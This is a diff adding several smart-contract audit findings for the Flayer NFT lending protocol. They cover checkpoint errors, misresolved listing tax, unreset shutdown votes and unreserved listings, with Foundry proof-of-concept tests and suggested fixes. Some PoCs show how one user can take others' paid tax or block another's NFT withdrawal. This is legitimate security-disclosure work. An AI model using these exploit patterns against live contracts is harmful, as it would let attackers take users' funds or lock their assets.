+### Impact
+
+Users with protected listings will be forced to pay more than required to unlock their tokens.
+
+### PoC
+
+Add the following test in `flayer/test/ProtectedListings.t.sol`:
+
+```solidity
+function test_WrongCheckpointIdxOnCreation() public {
+ ICollectionToken collectionToken = ICollectionToken(
+ locker.collectionToken(address(erc721a))
+ );
+
+ address payable bob = payable(makeAddr("bob"));
+ uint256 bobTokenId1 = 0;
+ uint256 bobTokenId2 = 1;
+ uint256 bobTokenId3 = 2;
+ erc721a.mint(bob, bobTokenId1);
+ erc721a.mint(bob, bobTokenId2);
+ erc721a.mint(bob, bobTokenId3);
+
+ address payable alice = payable(makeAddr("alice"));
+ uint256 aliceTokenId1 = 3;
+ erc721a.mint(alice, aliceTokenId1);
+
+ vm.startPrank(bob);
+ erc721a.setApprovalForAll(address(protectedListings), true);
+ erc721a.setApprovalForAll(address(listings), true);
+
+ // Bob creates a normal listing
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(bobTokenId1),
+ listing: IListings.Listing({
+ owner: bob,
+ created: uint40(block.timestamp),
+ duration: 5 days,
+ floorMultiple: 200
+ })
+ })
+ });
+
+ // Checkpoint of index 0 was created
+ (, uint timestamp) = protectedListings.collectionCheckpoints(
+ address(erc721a),
+ 0
+ );
+ assertGt(timestamp, 0);
+
+ vm.warp(block.timestamp + 1 days);
+
+ // Bob creates a protected listing
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(bobTokenId2),
+ listing: IProtectedListings.ProtectedListing({
+ owner: bob,
+ tokenTaken: 0.9 ether,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // Checkpoint of index 1 was created
+ (, timestamp) = protectedListings.collectionCheckpoints(
+ address(erc721a),
+ 1
+ );
+ assertGt(timestamp, 0);
+
+ vm.warp(block.timestamp + 1 days);
+
+ // Bob creates a normal listing
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(bobTokenId3),
+ listing: IListings.Listing({
+ owner: bob,
+ created: uint40(block.timestamp),
+ duration: 5 days,
+ floorMultiple: 200
+ })
+ })
+ });
+ vm.stopPrank();
+
+ // Checkpoint of index 2 was created
+ (, timestamp) = protectedListings.collectionCheckpoints(
+ address(erc721a),
+ 2
+ );
+ assertGt(timestamp, 0);
+
+ vm.warp(block.timestamp + 1 days);
+
+ // Alice creates a protected listing
+ vm.startPrank(alice);
+ erc721a.approve(address(protectedListings), aliceTokenId1);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(aliceTokenId1),
+ listing: IProtectedListings.ProtectedListing({
+ owner: bob,
+ tokenTaken: 0.9 ether,
+ checkpoint: 0
+ })
+ })
+ });
+ vm.stopPrank();
+
+ // No checkpoint was created
+ vm.expectRevert();
+ protectedListings.collectionCheckpoints(address(erc721a), 3);
+
+ // Alice's listing was created with the wrong checkpoint
+ assertEq(
+ protectedListings
+ .listings(address(erc721a), aliceTokenId1)
+ .checkpoint,
+ 1
+ );
+}
+```
+
+### Mitigation
+
+In `ProtectedListings::createListings`, make sure a new checkpoint is created/used whenever needed.
\ No newline at end of file
diff --git a/001/042.md b/001/042.md
new file mode 100644
index 0000000..4f92f08
--- /dev/null
+++ b/001/042.md
@@ -0,0 +1,137 @@
+Wobbly Neon Hyena
+
+High
+
+# `Listings::relist` wrongly resolves the listings tax for liquidation listings, allowing users to steal other users' paid tax
+
+### Summary
+
+When users create a normal listing in the `Listings` contract, they pay some tax, this tax is kept in the `Listings` contract until the listing is filled/re-listed/canceled, where part of this tax is refunded to the listing's owner and the other part is sent as fees to the implementation contract, this is handled in `Listings::_resolveListingTax`.
+
+On the other hand, when users create a protected listing and don't unlock in time, users can liquidate that position by calling `ProtectedListings::liquidateProtectedListing`, where a new non-protected listing is created in the `Listings` contract, the important point here is that no tax was paid to create this listing.
+
+However, when someone tries to re-list this liquidation listing, the protocol will call to resolve the paid tax:
+```solidity
+(uint256 _fees, ) = _resolveListingTax(oldListing, _collection, true);
+if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+}
+```
+Again, no tax was paid to create this listing.
+
+This will use others' paid taxes to send implementation fees and to refund the initial protected listing's owner with money that he didn't even pay.
+
+### Root Cause
+
+`Listings::relist` function doesn't check if the listing is a liquidation listing before resolving tax, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672).
+
+### Impact
+
+Users who have their protected listings liquidated will get refunded some of the tax paid by other users having active non-protected listings.
+
+### PoC
+
+Add the following test in `flayer/test/ProtectedListings.t.sol`:
+
+```solidity
+function test_WrongTaxResolveLiquidation() public {
+ ICollectionToken collectionToken = ICollectionToken(
+ locker.collectionToken(address(erc721a))
+ );
+
+ deal(address(collectionToken), address(this), 4 ether);
+
+ address payable bob = payable(address(0x1));
+ uint256 bobTokenId = 0;
+ erc721a.mint(bob, bobTokenId);
+
+ address payable alice = payable(address(0x2));
+ uint256 aliceTokenId = 1;
+ erc721a.mint(alice, aliceTokenId);
+
+ // Bob creates a protected listing
+ vm.startPrank(bob);
+ erc721a.approve(address(protectedListings), bobTokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(bobTokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: bob,
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ })
+ })
+ });
+ vm.stopPrank();
+
+ // Alice creates a normal listing
+ vm.startPrank(alice);
+ erc721a.approve(address(listings), aliceTokenId);
+ _createListing(
+ IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(aliceTokenId),
+ listing: IListings.Listing({
+ owner: alice,
+ created: uint40(block.timestamp),
+ duration: 5 days,
+ floorMultiple: 200
+ })
+ })
+ );
+ vm.stopPrank();
+
+ vm.warp(block.timestamp + 1 days);
+
+ // Bob's listing is liquidatable
+ assertLt(
+ protectedListings.getProtectedListingHealth(address(erc721a), bobTokenId),
+ 0
+ );
+
+ // Bob's listing is liquidated
+ protectedListings.liquidateProtectedListing(
+ address(erc721a),
+ bobTokenId
+ );
+
+ vm.warp(block.timestamp + 1 days);
+
+ // Bob's liquidated position is relisted
+ collectionToken.approve(address(listings), type(uint256).max);
+ listings.relist(
+ IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(bobTokenId),
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: 10 days,
+ floorMultiple: 120
+ })
+ }),
+ false
+ );
+
+ // Bob's gained some refund from the tax paid by Alice
+ assertGt(listings.balances(bob, address(collectionToken)), 0);
+}
+```
+
+### Mitigation
+
+In `Listings::relist`, check if the listing is "liquidated" before resolving the listings tax, by adding something similar to:
+```solidity
+if (!_isLiquidation[_collection][_tokenId]) {
+ // We can process a tax refund for the existing listing
+ (uint256 _fees, ) = _resolveListingTax(
+ oldListing,
+ _collection,
+ true
+ );
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+}
+```
\ No newline at end of file
diff --git a/001/046.md b/001/046.md
new file mode 100644
index 0000000..07d32c5
--- /dev/null
+++ b/001/046.md
@@ -0,0 +1,136 @@
+Flaky Sable Hamster
+
+High
+
+# Again 0(zero) `checkpointIndex` is updated at `tstore` while creating a protected listings for the `first time`, leads to wrong creation of `_checkPoints`
+
+## Summary
+Again 0(zero) `checkpointIndex` is updated at `tstore` while creating a protected listings for the `first time`, leads to wrong creation of `_checkPoints`
+
+## Vulnerability Detail
+When a collection is listed/created using `protectedListings:createListings()` for the `first time` then checkpointIndex is 0 & a checkPoint is created using `_createCheckpoint()`, which returns the value of `index`. This returned value is stored in `tstore` at checkpointKey.
+```solidity
+function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+...
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+@> checkpointIndex = _createCheckpoint(listing.collection);
+@> assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+...
+ }
+```
+Lets see _createCheckpoint(), what it returns for listing a collection for the first time
+```solidity
+function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+@> index_ = collectionCheckpoints[_collection].length;
+...
+
+ // If this is our first checkpoint, then our logic will be different as we won't have
+ // a previous checkpoint to compare against and we don't want to underflow the index.
+@> if (index_ == 0) {
+ // Calculate the current interest rate based on utilization
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ // We don't have a previous checkpoint to calculate against, so we initiate our
+ // first checkpoint with base data.
+ collectionCheckpoints[_collection].push(
+ Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: 1e18,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: 0
+ }),
+ timestamp: block.timestamp
+ })
+ );
+
+@> return index_;
+ }
+...
+ }
+```
+In the above code, `index_` is length of `collectionCheckpoints`, which will be `0(zero)` for the first time listing. If index_ == 0 then it initiate the first checkPoints with base data & returns the index_, which will be still `0(zero)`.
+
+And again, 0(zero) value of index_ is set to tstore at `checkpointKey`, which means when other user will createListing for same collection, it will again call _createCheckpoint() because index at checkpointKey is 0(zero).
+
+Now this is problem because at this time in _createCheckpoint(), index_ will be 1(because previously 1 checkPoint is pushed with base data). And when index_ is > 0, it creates new `_currentCheckpoint()` which calculates the `utilizationRate` based on `listingCount`.
+
+```solidity
+function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+ index_ = collectionCheckpoints[_collection].length;
+...
+ // Get our new (current) checkpoint
+@> Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+...
+ }
+```
+
+As this is 2nd time listing for the collection, which means `utilizationRate` should be calculated based on `updated` listingCount ie after tokens has been `deposited` to the Locker.sol contract & `collectionTokens` has been minted. But as we can see above createListing(), which creates _createCheckpoint() before tokens deposit & collectionTokens minting, because checkpointIndex is 0(zero). As result, wrong `checkPoint` will be created.
+
+```solidity
+function _currentCheckpoint(address _collection) internal view returns (Checkpoint memory checkpoint_) {
+ // Calculate the current interest rate based on utilization
+@> (, uint _utilizationRate) = utilizationRate(_collection);
+...
+ }
+```
+```solidity
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ // Get the count of active listings of the specified listing type
+@> listingsOfType_ = listingCount[_collection];
+
+ // If we have listings of this type then we need to calculate the percentage, otherwise
+ // we will just return a zero percent value.
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If we have no totalSupply, then we have a zero percent utilization
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+@> utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+## Impact
+_createCheckpoint() will run `twice` due wrong setting of `checkpointIndex`, which will create a wrong checkPoint
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L134C9-L139C14
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530C5-L572C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261C5-L276C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+If it is first time listing a collection then `increase` the value of `index_` in _createCheckpoints() and then return it
+```diff
+ if (index_ == 0) {
+ // Calculate the current interest rate based on utilization
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ // We don't have a previous checkpoint to calculate against, so we initiate our
+ // first checkpoint with base data.
+ collectionCheckpoints[_collection].push(
+ Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: 1e18,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: 0
+ }),
+ timestamp: block.timestamp
+ })
+ );
+
+- return index_;
++ return index_++;
+ }
+```
\ No newline at end of file
diff --git a/001/047.md b/001/047.md
new file mode 100644
index 0000000..312d7f1
--- /dev/null
+++ b/001/047.md
@@ -0,0 +1,82 @@
+Flaky Sable Hamster
+
+High
+
+# _createCheckpoint() is not called/updated in `protectedListings:createListings()`
+
+## Summary
+_createCheckpoint() is not called/updated in `protectedListings:createListings()`
+
+## Vulnerability Detail
+Users can create protected listing using `protectedListings:createListings()`, which `deposits` the NFT to Locker.sol & gets the `collectionToken` in return.
+
+Only if collection is listed for first time, _createCheckpoint() is called. But the problem is, it is not created for the `subsequent` createLinstings() due to `missing` _createCheckpoint() at the end of the function.
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // Loop variables
+ uint checkpointIndex;
+ bytes32 checkpointKey;
+ uint tokensIdsLength;
+ uint tokensReceived;
+
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+ _validateCreateListing(listing);
+
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+
+ // Map our listings
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+
+ // Register our listing type
+ unchecked {
+ listingCount[listing.collection] += tokensIdsLength;
+ }
+
+ // Deposit the tokens into the locker and distribute ERC20 to user
+ _depositNftsAndReceiveTokens(listing, tokensReceived);
+
+ // Event fire
+ emit ListingsCreated(listing.collection, listing.tokenIds, listing.listing, tokensReceived, msg.sender);
+ }
+ }
+```
+Calling `_createCheckpoint()` is important because `_depositNftsAndReceiveTokens()` mints collectionToken ie increase in `totalSupply` of collectionToken, and totalSupply is used for calculating `utilizationRate`
+```solidity
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+...
+ // If we have no totalSupply, then we have a zero percent utilization
+@> uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+@> utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+## Impact
+checkPoints will not be correctly updated
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117C4-L156C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+Call _createCheckpoint() at the end of the function
+```diff
++ _createCheckpoint(listing.collection);
+```
\ No newline at end of file
diff --git a/001/048.md b/001/048.md
new file mode 100644
index 0000000..3a211c1
--- /dev/null
+++ b/001/048.md
@@ -0,0 +1,98 @@
+Flaky Sable Hamster
+
+High
+
+# `withdrawProtectedListing()` can be DoS, user will lost his NFT
+
+## Summary
+`withdrawProtectedListing()` can be DoS, user will lost his NFT
+
+## Vulnerability Detail
+A user can unlock his protected listing using `protectedListings:unlockProtectedListing()`. While unlocking, a user can decide whether he wants his NFT now or later by indicating `bool _withdraw`.
+
+If bool _withdraw is set to `false` then user can withdraw his NFT later using `withdrawProtectedListing()`.
+```solidity
+ /**
+ * The amount of tokens taken are returned, as well as a fee. The recipient can also
+ * opt to leave the asset inside the contract and withdraw at a later date by calling
+ * the `withdrawProtectedListing` function.
+ *
+ * @param _collection The address of the collection to unlock from
+ * @param _tokenId The token ID to unlock
+ * @param _withdraw If the user wants to receive the NFT now
+ */
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+...
+ // Delete the listing objects
+@> delete _protectedListings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ if (_withdraw) {
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else {
+@> canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+...
+ }
+```
+
+Now the problem is, unlockProtectedListing() `deletes` the `_protectedListings` mapping, whether user wanted to withdraw his NFT now or later.
+
+This means any user can `withdraw` that NFT(tokenId) willingly or unwillingly from `Locker.sol` because `locker:redeem()` checks the `_protectedListings` mapping to ensure that the NFT is listed or not.
+```solidity
+function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
+...
+ // Loop through the tokenIds and redeem them
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Ensure that the token requested is not a listing
+@> if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);
+
+ // Transfer the collection token to the caller
+ collection.transferFrom(address(this), _recipient, _tokenIds[i]);
+ }
+ }
+```
+```solidity
+function isListing(address _collection, uint _tokenId) public view returns (bool) {
+...
+ // Check if we have a protected listing
+@> if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+ return false;
+ }
+```
+```solidity
+ function listings(address _collection, uint _tokenId) public view returns (ProtectedListing memory) {
+@> return _protectedListings[_collection][_tokenId];
+ }
+```
+Suppose a user wanted to withdraw his NFT later by setting `_withdraw = false`, which deletes the `_protectedListings` mapping. Another user willingly or unwillingly redeemed that NFT from Locker.sol using `redeem()`.
+
+As result, when user will call `withdrawProtectedListing()` to withdraw his NFT, it will revert because there is no NFT of that tokenId in the Locker.sol
+```solidity
+ function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
+...
+ // Transfer the asset to the user
+@> locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ }
+```
+
+## Impact
+User can lose his NFT, if he decided to withdraw it later using `withdrawProtectedListing()`
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L314C1-L323C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209C4-L231C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L447C1-L450C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L99C3-L101C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+There are 2 ways to fix this
+1. Don't delete `_protectedListings` mapping in `unlockProtectedListing()` instead delete in `withdrawProtectedListing()`, when user withdraw his NFT
+2. Remove the option that allow user to withdraw his NFT later
\ No newline at end of file
diff --git a/001/051.md b/001/051.md
new file mode 100644
index 0000000..29768ad
--- /dev/null
+++ b/001/051.md
@@ -0,0 +1,163 @@
+Wobbly Neon Hyena
+
+Medium
+
+# `CollectionShutdown::execute` is not resetting `shutdownVotes`, blocking future shutdown processes
+
+### Summary
+
+When voting on a collection shutdown, users pay collection tokens to, when doing so `params.shutdownVotes` is incremented to reflect the total votes on the shutdown process:
+```solidity
+// Register the amount of votes sent as a whole, and store them against the user
+params.shutdownVotes += uint96(userVotes);
+```
+This parameter is never reset when the shutdown is executed.
+
+This `shutdownVotes` is checked whenever starting a new shutdown process for a collection, in `CollectionShutdown::start`:
+```solidity
+// Ensure that a shutdown process is not already actioned
+CollectionShutdownParams memory params = _collectionParams[_collection];
+if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+```
+
+So if a collection for an NFT was shutdown and a new collection was created for the same NFT, and for whatever reason the new collection needs to be shutdown, it'll never work, as `shutdownVotes` will hold the state of the previous shut down process.
+
+This blocks the shut down of collections.
+
+### Root Cause
+
+`shutdownVotes` is not being reset after the shutdown execution in `CollectionShutdown::execute`, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275).
+Which is used as a check when starting a shutdown process, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L141).
+
+### Impact
+
+Users won't be able to start a shutdown process for some collections, that were shut down before.
+
+### PoC
+
+Add the following test in `flayer/test/utils/CollectionShutdown.t.sol`:
+
+```solidity
+interface ILSSVMPairERC721 {
+ function swapTokenForSpecificNFTs(
+ uint256[] calldata nftIds,
+ uint256 maxExpectedTokenInput,
+ address nftRecipient,
+ bool isRouter,
+ address routerCaller
+ ) external payable returns (uint256);
+}
+
+function test_CantShutdownAfterShutdown() public {
+ // Simulate the minting of 4 tokens
+ vm.prank(address(locker));
+ collectionToken.mint(address(this), 4 ether);
+
+ // Start the shutdown process
+ collectionToken.approve(address(collectionShutdown), 4 ether);
+ collectionShutdown.start(address(erc721b));
+
+ // Execute the shutdown
+ uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 1);
+ collectionShutdown.execute(address(erc721b), tokenIds);
+
+ // Compute the amount of ETH required to buy the NFTs
+ ICollectionShutdown.CollectionShutdownParams
+ memory params = collectionShutdown.collectionParams(
+ address(erc721b)
+ );
+ (, , , uint256 amount, , ) = ILSSVMPair(params.sweeperPool)
+ .getBuyNFTQuote(0, tokenIds.length);
+ deal(address(this), amount);
+
+ // Buy NFTs on the Sudoswap pool
+ ILSSVMPairERC721(address(params.sweeperPool)).swapTokenForSpecificNFTs{
+ value: amount
+ }(tokenIds, amount, address(this), false, address(0));
+
+ // Contract does not have any ETH
+ assertEq(address(this).balance, 0);
+
+ // Claim the ETH resulting from the shutdown
+ collectionShutdown.claim(address(erc721b), payable(address(this)));
+
+ // Contract has 500 ETH
+ assertEq(address(this).balance, 500 ether);
+
+ // Create and initialize a new collection for the same ERC721 contract
+ locker.createCollection(
+ address(erc721b),
+ "Test Collection 2",
+ "TEST 2",
+ 0
+ );
+ locker.setInitialized(address(erc721b), true);
+ collectionToken = locker.collectionToken(address(erc721b));
+
+ // Simulate the minting of 4 tokens
+ vm.prank(address(locker));
+ collectionToken.mint(address(this), 4 ether);
+
+ collectionToken.approve(address(collectionShutdown), 4 ether);
+
+ // Start the shutdown process, reverts
+ vm.expectRevert(
+ abi.encodeWithSelector(
+ ICollectionShutdown.ShutdownProcessAlreadyStarted.selector
+ )
+ );
+ collectionShutdown.start(address(erc721b));
+}
+```
+
+### Mitigation
+
+Reset `shutdownVotes` when executing the shutdown of a collection, in `CollectionShutdown::execute`:
+```diff
+function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+
+ // Check that no listings currently exist
+ if (_hasListings(_collection)) revert ListingsExist();
+
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+
+ // Lockdown the collection to prevent any new interaction
+ locker.sunsetCollection(_collection);
+
+ // Iterate over our token IDs and transfer them to this contract
+ IERC721 collection = IERC721(_collection);
+ for (uint i; i < _tokenIdsLength; ++i) {
+ locker.withdrawToken(_collection, _tokenIds[i], address(this));
+ }
+
+ // Approve sudoswap pair factory to use our NFTs
+ collection.setApprovalForAll(address(pairFactory), true);
+
+ // Map our collection to a newly created pair
+ address pool = _createSudoswapPool(collection, _tokenIds);
+
+ // Set the token IDs that have been sent to our sweeper pool
+ params.sweeperPoolTokenIds = _tokenIds;
+ sweeperPoolCollection[pool] = _collection;
+
+ // Update our collection parameters with the pool
+ params.sweeperPool = pool;
+
+ // Prevent the collection from being executed again
+ params.canExecute = false;
++ params.shutdownVotes = 0;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+}
+```
\ No newline at end of file
diff --git a/001/054.md b/001/054.md
new file mode 100644
index 0000000..4efb5ef
--- /dev/null
+++ b/001/054.md
@@ -0,0 +1,142 @@
+Flaky Sable Hamster
+
+High
+
+# `_listings` mapping is not deleted when a tokenId is reserved in `Listing:reserve()`
+
+## Summary
+`_listings` mapping is not deleted when a tokenId is reserved in `Listing:reserve()`, which leads to DoS and loss of protocol funds
+
+## Vulnerability Detail
+User can reserve a `tokenId` using `listing:reserve()`, while reserving, previousOwner gets `taxRefund` as well as any amount greater than `floorPrice`
+
+Also it creates a protected listing using `protectedListings.createListings()`
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+...
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+@> (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+@> collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+...
+ }
+...
+ // Create a protected listing, taking only the tokens
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+ IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+ createProtectedListing[0] = IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: uint96(1 ether - _collateral),
+ checkpoint: 0 // Set in the `createListings` call
+ })
+ });
+
+ // Create our listing, receiving the ERC20 into this contract
+@> protectedListings.createListings(createProtectedListing);
+...
+ }
+```
+As we can see above code, it doesn't delete the `_listings` mapping which has details of the `previousOwner/ floorMultiple/ duration`
+
+Now the problem is, previousOwner can call `cancelListing()`, `modifyListings()`
+1. modifyListings(): He will modify the listings in such a way by combining `floorMultiple` & `duration`(taxRequired is dependent on both) so that `refund` is greater than `taxRequired`(for new config). As result, he will get a refund, which he should not because all refunds were made to him in reserve().
+```solidity
+function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ uint fees;
+
+ for (uint i; i < _modifyListings.length; ++i) {
+...
+ // Ensure the caller is the owner of the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+...
+ // Collect tax on the existing listing
+@> (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+
+ fees += _fees;
+ @> refund_ += _refund;
+...
+ // Get the amount of tax required for the newly extended listing
+@> taxRequired_ += getListingTaxRequired(listing, _collection);
+ }
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If our tax refund does not cover the full amount of tax required, then we will need to make an
+ // additional tax payment.
+ if (taxRequired_ > refund_) {
+ unchecked {
+ payTaxWithEscrow(address(collectionToken), taxRequired_ - refund_, _payTaxWithEscrow);
+ }
+ refund_ = 0;
+ } else {
+ unchecked {
+@> refund_ -= taxRequired_;
+ }
+ }
+...
+ // If there is tax to refund after paying the new tax, then allocate it to the user via escrow
+ if (refund_ != 0) {
+@> _deposit(msg.sender, address(collectionToken), refund_);
+ }
+ }
+```
+2. cancelListing(): If previousOwner cancels the listing by paying requiredAmount then it will `withdraw` that tokenId(NFT) from the `Locker.sol` contract to previousOwner, which means when `reserver` will try to unlock the protected listing with tokenId(which he reserved) in `ProtectedListings.sol` contract, it will revert because there will be no NFT of that tokenId in Locker.sol to withdraw
+```solidity
+ function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+...
+ for (uint i; i < _tokenIds.length; ++i) {
+...
+ // Transfer the listing ERC721 back to the user
+@> locker.withdrawToken(_collection, _tokenId, msg.sender);
+ }
+...
+ }
+```
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+...
+ // Transfer the listing ERC721 back to the user
+ if (_withdraw) {
+@> locker.withdrawToken(_collection, _tokenId, msg.sender);
+...
+ }
+```
+
+## Impact
+1. previousOwner will steal the tax
+2. He will DoS the reserver, ie reserver will lost his NFT even after paying the full price
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690C4-L759C6
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L303C5-L385C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L318
+
+## Tool used
+Manual Review
+
+## Recommendation
+Delete the ` _listings` mapping when a token is reserved in reserve()
+```diff
++ delete _listings[_collection][_tokenId];
+```
diff --git a/001/056.md b/001/056.md
new file mode 100644
index 0000000..01afe37
--- /dev/null
+++ b/001/056.md
@@ -0,0 +1,103 @@
+Flaky Sable Hamster
+
+Medium
+
+# `_isLiquidation` mapping is not deleted in `listing:reserve()` when a liquidation tokenId is reserved
+
+## Summary
